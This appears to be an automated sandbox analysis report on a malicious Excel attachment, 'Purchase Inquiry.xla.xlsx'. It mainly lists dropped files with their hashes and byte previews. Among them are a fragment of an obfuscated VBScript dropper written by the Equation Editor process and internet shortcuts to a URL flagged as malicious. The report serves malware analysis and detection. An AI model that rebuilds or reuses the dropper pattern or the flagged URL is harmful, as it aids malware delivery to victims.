                            SHA-512:0F768392360D3E56094943291D35A631F732A5F79C37BAC3A199C72814397931755DEF3595759A77FE2B8BD9598BDEE1F388CE3ABCD87041413AADC2E40767FB
                            Malicious:false
                            Preview:....l...........R...r...........QN...a.. EMF....`c......"...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s...'...............ZZZ.....%...................ZZZ.....................................L...d...............p...............q...!..............?...........?................................'...............2.......%...........(...................2...L...d.......p...............p.......

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FE07CC45.emf

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                            Category:dropped
                            Size (bytes):3192332
                            Entropy (8bit):4.053316265186256
                            Encrypted:false
                            SSDEEP:12288:w1xrp65D3wGnjhjIwAus1wvGWXKcnXfxp6ZaWUkHaN9HRo1dWwLt1K3D8dt3iGnA:wLraD3AwSKG71cwB03at3wwKuWh1OwD
                            MD5:30C5B931AA80473C25F53E6884B0864A
                            SHA1:F0E59762CA6445A9601BB9745B5D20B4215775B5
                            SHA-256:58601F324FB78F755DDC3F8E867BDE9BA85950CCEFB333E43D6E4C38686A5E8B
                            SHA-512:2C8DB82FE8CBCC15F7E529B0D4429D9CB3AC54CA302F8D3D11A03CD443A423233DD4E8B1CDDD1A1A786D568AF9BF3C2DB11314981DAC48C6CA044D50EA2299C4
                            Malicious:false
                            Preview:....l...........R...............!?..3X.. EMF......0.....0...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'................3f.....%....................3f.....................................L...d...4...f...7...{...4...f...........!..............?...........?................................'.......................%...........(.......................L...d...............................$...!..............?...........?................................'...

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{05F2B260-A6DD-4E8F-AB1A-0DE632173168}.tmp

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):16384
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3::
                            MD5:CE338FE6899778AACFC28414F2D9498B
                            SHA1:897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
                            SHA-256:4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
                            SHA-512:6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
                            Malicious:false
                            Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{5F0B862F-7431-49D6-B5D6-D9684445400E}.tmp

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):1024
                            Entropy (8bit):0.05390218305374581
                            Encrypted:false
                            SSDEEP:3:ol3lYdn:4Wn
                            MD5:5D4D94EE7E06BBB0AF9584119797B23A
                            SHA1:DBB111419C704F116EFA8E72471DD83E86E49677
                            SHA-256:4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
                            SHA-512:95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
                            Malicious:false
                            Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{CF2817E6-007C-4E79-B38D-BC2D4DE25A38}.tmp

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):15872
                            Entropy (8bit):3.6101940712843725
                            Encrypted:false
                            SSDEEP:384:I/ag0m6rcy36KcmLs2i04sBRv7HmyEIcIgljD/XWuPfM10DuiqSBbvfk:rx11RcmLkUHbrcNjjHfRui/NXk
                            MD5:D0DA96B97185509E9B72D23D089875AE
                            SHA1:5698A43BFACF7FAC89A43912ADB30B39D7D352F7
                            SHA-256:47AE6D947BB604103268F1B64B66269F3FC4144F2CAB255C02441670F2D85D47
                            SHA-512:DA5E0B414C5D3B74CEC46EF8C5419635A5BB32EE59B650B183ED9F629022C516D48972407212054F771DDC4D99BC6335A3855A8C9D029C215229F3E6BCB7FB2E
                            Malicious:false
                            Preview:................9.8.2.5.3.4.3.6.....%.<.#.+.2...?.1.!.@.!.!.|.|.3.<.?.`.+.-.4.0.?.$._.*.?...[.'.^...*.6.>.@.8.(.?.>.:.6.?.#.2.+.+.=.%.].>...$...&.<.`.,...8.%...?.`.=.;.~.9./._.%.+.2.~.?.].#.4...>.*...?.'.<.?.*.5.|.!._...?.1.3.=.>.+.%.`./.0.?.~.3.+.<.<.4.3.<.1.>.?.|.%.?.2.7...4.?.|.2.7.[.(.?.2.%.;.#.0.(.9.3.6.?.%.~.6.9.&.|...?.^.;.=...=.4.;.7._.?.`.%.&.#.#.:.[.2.0.^.^.=.(.#.<.).?.+.?.1.$.+.!.^.?.9.,.0.=.$.!.-.2.8._.#.?.?.3.?.&.%.3.+.#.0.!.`...?...?.?.^.*.@._.=.%.>.0.=.]...#.?...=.4.&.>.)...6.!.?.).,.[...&.?.).!.>.-...%.?.?...?.?.7.8._.(.0.....;.'.+.|.*...=._.5.?._.1.'.#.,.2...9.?.+./.>.7.2.,.=.)...1.7.].%.@.-.>...<.2.=.@.0.].%./.^.!.#.!.&.=.?.+.$.*.%.`.0.*.7.*.#.0.%...4.`.*...|.#.0.&._.%.#.).$.>.$.'.<...1...?...3._.,.#.?...[.?./.<.?.(.1.[.(...?.3.?.&.5._...'.<...#.#.#.?.1.~...$.).-.2.<.~.#.*.4.'.|.2.0.8.;.|.+.!.9.(...+.'.6.7.*...%.5.%.../.=.,.5.1...|.@.8.,.+...-.%.-.|.$.[.>.;.1.:.5...?.?.5.[.?.6.0.6.(.?...].4.$.[.|.=.0.%.].^.8...-.%.'...1.$.<._...(.<.;.^.,...1.$.,.(.(.3.|.-.[.~.-.?.(.%.

                            C:\Users\user\AppData\Local\Temp\m5fdzyzz.1rs.ps1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\vjlx0f3e.0br.psm1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\{47ACBEF1-4F88-48CF-8CDF-EB1C87537A39}

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):131072
                            Entropy (8bit):0.025671530170020645
                            Encrypted:false
                            SSDEEP:6:I3DPcDixFvxggLRk6lB/E1btRXv//4tfnRujlw//+GtluJ/eRuj:I3DPMibgOpERTvYg3J/
                            MD5:29A02EC19A8EA0587423C2C7186AD515
                            SHA1:A3FD8005595C22B2E0CE032957F27AD4E205C64C
                            SHA-256:0A0418B2733D0F861C0CE5B25A4A8D34DFD3A1A95414D5148A4782DEECE651B2
                            SHA-512:A7E83DD808F0D1C1E0A91B8B55CC1079C7BDDAD6E8BA7A6BC9B1BE0B3F17E567588C724873D6BF5D5B0B923436DDDCD436541894C0A28C5A8C7D5C4623511EFB
                            Malicious:false
                            Preview:......M.eFy...zQ..$...B...0w...S,...X.F...Fa.q..............................P...C@..QnK...........%.5.l..E....{.)d.....................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Temp\{7390B40F-0F36-41AC-9969-0414BD0D890C}

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):131072
                            Entropy (8bit):0.0255932170100285
                            Encrypted:false
                            SSDEEP:6:I3DPcVaLCu9vxggLRrO1BmyUpQa7ltRXv//4tfnRujlw//+GtluJ/eRuj:I3DPLLCuRHGwjTvYg3J/
                            MD5:7B52467152F34BC31C73F71BDA3E3E13
                            SHA1:6808508C068BD10CC10CC9046ACAF6449F82CE08
                            SHA-256:766B5D1A80E425BA3B547BD300BA362FEB585E86B36A3A8263CAAFC9F666FCF4
                            SHA-512:2EAB7778BB07174EF5267A01400CD02231B926F03DDB442DECE7FDBC0017794CF3CC5EEDDAD7B06BDA1BC03CF4F5A0C27FBBD52D22B4A4EF423F359292E861F5
                            Malicious:false
                            Preview:......M.eFy...z..?...L.;....eWS,...X.F...Fa.q..............................eJ.eG.../..................0A...'..?.....................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Temp\~DF1A0B980E56A067AF.TMP

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):512
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3::
                            MD5:BF619EAC0CDF3F68D496EA9344137E8B
                            SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                            SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                            SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                            Malicious:false
                            Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Temp\~DF1CACC2FAC5516BE8.TMP

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):548864
                            Entropy (8bit):7.875117437405338
                            Encrypted:false
                            SSDEEP:12288:w0bQABN+mZJAYUvAK2HMVZ/KP2SvXiH9miomiwhkRBF6R9Q32:TQxmEYKtWMT/q2kK9VHhkHF6R9Q3
                            MD5:91045A10E2C6ED2DE3EF6AA6178845FC
                            SHA1:93EE65C98B08C03F224A9B42C092345482DDBADD
                            SHA-256:27A4299D949DD642FFA84AE7D32F3C95C48C07B18FC2C49175EF3AB007EF0DA8
                            SHA-512:93D9A1E24AFD9EDABE856843F29022C013EAEB40E12E8135FD0251347F40E9BB77C698CF0A10ED88F6A4F578D1B158FE40BE76B60A1138D9984982253D37F221
                            Malicious:false
                            Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Temp\~DF9958884E9CE0F332.TMP

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            File Type:Composite Document File V2 Document, Cannot read section info
                            Category:dropped
                            Size (bytes):542208
                            Entropy (8bit):7.9277449426260365
                            Encrypted:false
                            SSDEEP:12288:w0bQABN+mZJAYUvAK2HMVZ/KP2SvXiH9miomiwhkRBF6R9Q32:TQxmEYKtWMT/q2kK9VHhkHF6R9Q3
                            MD5:99C45462762F4AE4F872F2952F6FD5CD
                            SHA1:3F56E5D599B88E82318F4822E0400F615D3E55E1
                            SHA-256:5963EA7CBF2D3F777AB9FD7A943247745CAE380A367EFBC6946211C6ACC03F8D
                            SHA-512:433D7D52FB966D55F6BC9FDA1EE0A4A9472A51FA1E54AA942AA753484937CEA3512C5FF20FD38D4F51D708144C9D4E7AC6893D354DEBF5F6AB33626582ACB812
                            Malicious:false
                            Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                            C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\c8lH8.url

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:MS Windows 95 Internet shortcut text (URL=<http://tny.wtf/c8lH8>), ASCII text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):46
                            Entropy (8bit):4.490740760310774
                            Encrypted:false
                            SSDEEP:3:HRAbABGQYm/3LcmWSa:HRYFVm/3LOSa
                            MD5:6024CC509BC0787C1A5656D722A859AF
                            SHA1:DACCF6B72E9DCAF76CF16FF4CBF188E794729F25
                            SHA-256:ED0FE28D9FD3953C6C4772684A03C43B27BE97032B725349894D533A0D86EBB8
                            SHA-512:E001FFD0CF19A937D343B307A9F4F35684714BD18628DF72A2DE753E4061429CE1D5CB135D6DD8074403D286F9F34B3EE2074ED735B0E041C2C7E9B79B71BAD7
                            Malicious:true
                            Preview:[InternetShortcut]..URL=http://tny.wtf/c8lH8..

                            C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:ASCII text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):39
                            Entropy (8bit):4.284900936589072
                            Encrypted:false
                            SSDEEP:3:bD2eXJ4IcLOQb:b5XShDb
                            MD5:A6C996F9AC9C3AA2FEC62D994026DD89
                            SHA1:FD3894297BC0645980196004B465FE94B5F2BBC1
                            SHA-256:52ECFA8EDB7632CB55D1FCD47902EECB8B931CCCBA08A82CA9D5BC7DF8A22DE9
                            SHA-512:99B783FA402E69BE6ED2F239AA47727A181F4222B96C5CF88A3B9EF987BD4493D17A630F654D9202514FA5ECB4CEDAC36507BF1C2CFCE6B79B66FC66AD15B393
                            Malicious:false
                            Preview:[folders]..c8lH8.url=0..tny.wtf.url=0..

                            C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.url

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:MS Windows 95 Internet shortcut text (URL=<http://tny.wtf/>), ASCII text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):41
                            Entropy (8bit):4.2963379801223045
                            Encrypted:false
                            SSDEEP:3:HRAbABGQYm/3LcmWy:HRYFVm/3LOy
                            MD5:D591A53347F94FBC48B4B6A5CCE920ED
                            SHA1:C00082566F3211F9B1BBEC933A8AE164759C290A
                            SHA-256:1CA93696A94797C9411318830CAC6A5B26FEACC37D5CAA4B3742D722CD073781
                            SHA-512:BA14258049ABCC3E31AA3DFC3ABBC2949AF30BB73B031C0E408BCF036B51B7AC11E32C3B39A7952E1A007179720C970B29CB2DF8EF03A021EF3B59FEB5AE177E
                            Malicious:true
                            Preview:[InternetShortcut]..URL=http://tny.wtf/..

                            C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):162
                            Entropy (8bit):2.503835550707525
                            Encrypted:false
                            SSDEEP:3:vrJlaCkWtVypil69oycWjUbtFJlln:vdsCkWtTl69oyjUvl
                            MD5:CB3D0F9D3F7204AF5670A294AB575B37
                            SHA1:5E792DFBAD5EDA9305FCF8F671F385130BB967D8
                            SHA-256:45968B9F50A9B4183FBF4987A106AB52EB3EF3279B2118F9AB01BA837DC3968A
                            SHA-512:BD116CAF3ACA40A5B90168A022C84923DB51630FA0E62E46020B71B8EB9613EAE776D476B0C6DE0D5F15642A74ED857765150F406937FBA5CB995E9FCDAC81AE
                            Malicious:false
                            Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                            C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS

                            Download File
                            Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                            File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):427434
                            Entropy (8bit):3.575965695258709
                            Encrypted:false
                            SSDEEP:3072:sHGgwfzYF2hNe4VTdRnTT8w4TWEvqK3g4YpFka+bS7oNePYZCRAXG+al8zq:2wfzYF1vqP
                            MD5:FD92F8BCCF35E72FE49BAB1B596EEFCE
                            SHA1:40ECAF11BEF8907906B8DDEA0AE7D90098A4CEBC
                            SHA-256:BFAE575FB0E846BA3D7929E3D8A8E593DCD529ED6FF2F0F6D6378339B0F10AA8
                            SHA-512:D344643C03F233667A115149110CD89B3570C87012E578B1CF793B2515A524A3980A99B2C51712E406BD3AD92DCAA17F76EB81A8AB0A767CE5EE403DD428D0F6
                            Malicious:true
                            Preview:..d.i.m. .p.o.s.u.a.l. .....p.o.s.u.a.l. .=. .r.e.g.a.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".p.a.l.p.a.b.i.l.i.z.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".a.n.e.g.a.l.h.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".n.e.b.l.i.n.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".a.v.i.a.m.e.n.t.o.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".c.i.m.b.r.o.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".t.a.r.a.m.b.o.l.a.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.0.9._.0._.M.e.s.s.a.g.e.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.1.0._.0._.M.e.s.s.a.g.

                            C:\Users\user\Desktop\65C30000

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 12:16:47 2024, Security: 1
                            Category:dropped
                            Size (bytes):1074688
                            Entropy (8bit):7.981663197651782
                            Encrypted:false
                            SSDEEP:24576:GQxmEYKtWMT/q2kK9VHhkHF6R9Q3OwJGetixV1tHViqR3E:GMmEzWMT/usBkHF6R9Qe8GVHViw0
                            MD5:C4C20617476EDD50A54F7A5278ABE04F
                            SHA1:164790A7C13B5F280FD1D2B102847E55583BB9A5
                            SHA-256:7C45431D3FE7294D577EC0D6CD4307AA9047860310716252195CCAE42A31F4BE
                            SHA-512:FE6F6E0167F1155D94EFCEDE3ED94EB50A4C88A5A80236C2067D0E09D0744E4A5E228A4F3CA0BB3991D51B25D6FFB9099B3D51E709E4C7CC9AF6BCC21011FF77
                            Malicious:false
                            Preview:......................>.......................................................................................t.......v.......x.......z...............................................................................................................................................................................................................................................................................................................................................................................................1................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                            C:\Users\user\Desktop\65C30000:Zone.Identifier

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            File Type:ASCII text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):26
                            Entropy (8bit):3.95006375643621
                            Encrypted:false
                            SSDEEP:3:ggPYV:rPYV
                            MD5:187F488E27DB4AF347237FE461A079AD
                            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                            Malicious:false
                            Preview:[ZoneTransfer]....ZoneId=0

                            C:\Users\user\Desktop\Purchase Inquiry.xla.xls (copy)

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 12:16:47 2024, Security: 1
                            Category:dropped
                            Size (bytes):1074688
                            Entropy (8bit):7.981663197651782
                            Encrypted:false
                            SSDEEP:24576:GQxmEYKtWMT/q2kK9VHhkHF6R9Q3OwJGetixV1tHViqR3E:GMmEzWMT/usBkHF6R9Qe8GVHViw0
                            MD5:C4C20617476EDD50A54F7A5278ABE04F
                            SHA1:164790A7C13B5F280FD1D2B102847E55583BB9A5
                            SHA-256:7C45431D3FE7294D577EC0D6CD4307AA9047860310716252195CCAE42A31F4BE
                            SHA-512:FE6F6E0167F1155D94EFCEDE3ED94EB50A4C88A5A80236C2067D0E09D0744E4A5E228A4F3CA0BB3991D51B25D6FFB9099B3D51E709E4C7CC9AF6BCC21011FF77
                            Malicious:false
                            Preview:......................>.......................................................................................t.......v.......x.......z...............................................................................................................................................................................................................................................................................................................................................................................................1................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                            C:\Users\user\Desktop\~$Purchase Inquiry.xla.xlsx

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            File Type:data
                            Category:modified
                            Size (bytes):165
                            Entropy (8bit):1.4377382811115937
                            Encrypted:false
                            SSDEEP:3:vZ/FFDJw2fV:vBFFGS
                            MD5:797869BB881CFBCDAC2064F92B26E46F
                            SHA1:61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
                            SHA-256:D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
                            SHA-512:1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
                            Malicious:true
                            Preview:.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                            Static File Info

                            General

                            File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 02:31:40 2024, Security: 1
                            Entropy (8bit):7.977477133102084
                            TrID:
                            • Microsoft Excel sheet (30009/1) 47.99%
                            • Microsoft Excel sheet (alternate) (24509/1) 39.20%
                            • Generic OLE2 / Multistream Compound File (8008/1) 12.81%
                            File name:Purchase Inquiry.xla.xlsx
                            File size:1'104'384 bytes
                            MD5:c3f8e7c002dee53044af5c981b000637
                            SHA1:3e64a989a11aece354ec4fd7a698ec1dfaa43651
                            SHA256:58738d2f9a0db1fba5d0355d9bff70e77bc0b21defefeddf031c470e955e8b53
                            SHA512:cf5bdba4e24da273e2b4d3b2fbf21e1d7c5a2fb09b6848403f7e3b8f2c76909816f18b8cb557125ea1eab5213ff4554dca1695b4b5fee3a79c1c8dacefac429d
                            SSDEEP:24576:UQxmEYKtWMT/q2kK9VHhkHF6R9Q4fCnLaR54m7t2taZEEUieANv+:UMmEzWMT/usBkHF6R9Q4Ko5bp2tMUip
                            TLSH:E93523787EF59B07D203C43126D3C6A71612AE22FA85AB837694771D3E712B442F361E
                            File Content Preview:........................>.................................../...................................................q.......s.......u.......w......................................................................................................................

                            File Icon

                            Icon Hash:2562ab89a7b7bfbf

                            Static OLE Info

                            General

                            Document Type:OLE
                            Number of OLE Files:1

                            OLE File "Purchase Inquiry.xla.xlsx"

                            Indicators
                            Has Summary Info:
                            Application Name:Microsoft Excel
                            Encrypted Document:True
                            Contains Word Document Stream:False
                            Contains Workbook/Book Stream:True
                            Contains PowerPoint Document Stream:False
                            Contains Visio Document Stream:False
                            Contains ObjectPool Stream:False
                            Flash Objects Count:0
                            Contains VBA Macros:True
                            Summary
                            Code Page:1252
                            Author:
                            Last Saved By:
                            Create Time:2006-09-16 00:00:00
                            Last Saved Time:2024-07-26 01:31:40
                            Creating Application:Microsoft Excel
                            Security:1
                            Document Summary
                            Document Code Page:1252
                            Thumbnail Scaling Desired:False
                            Contains Dirty Links:False
                            Shared Document:False
                            Changed Hyperlinks:False
                            Application Version:786432

                            Streams with VBA

                            VBA File Name: Sheet1.cls, Stream Size: 977
                            General
                            Stream Path:_VBA_PROJECT_CUR/VBA/Sheet1
                            VBA File Name:Sheet1.cls
                            Stream Size:977
                            Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
                            Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 b6 34 fa 90 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                            VBA Code
                            Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                            VBA File Name: Sheet2.cls, Stream Size: 977
                            General
                            Stream Path:_VBA_PROJECT_CUR/VBA/Sheet2
                            VBA File Name:Sheet2.cls
                            Stream Size:977
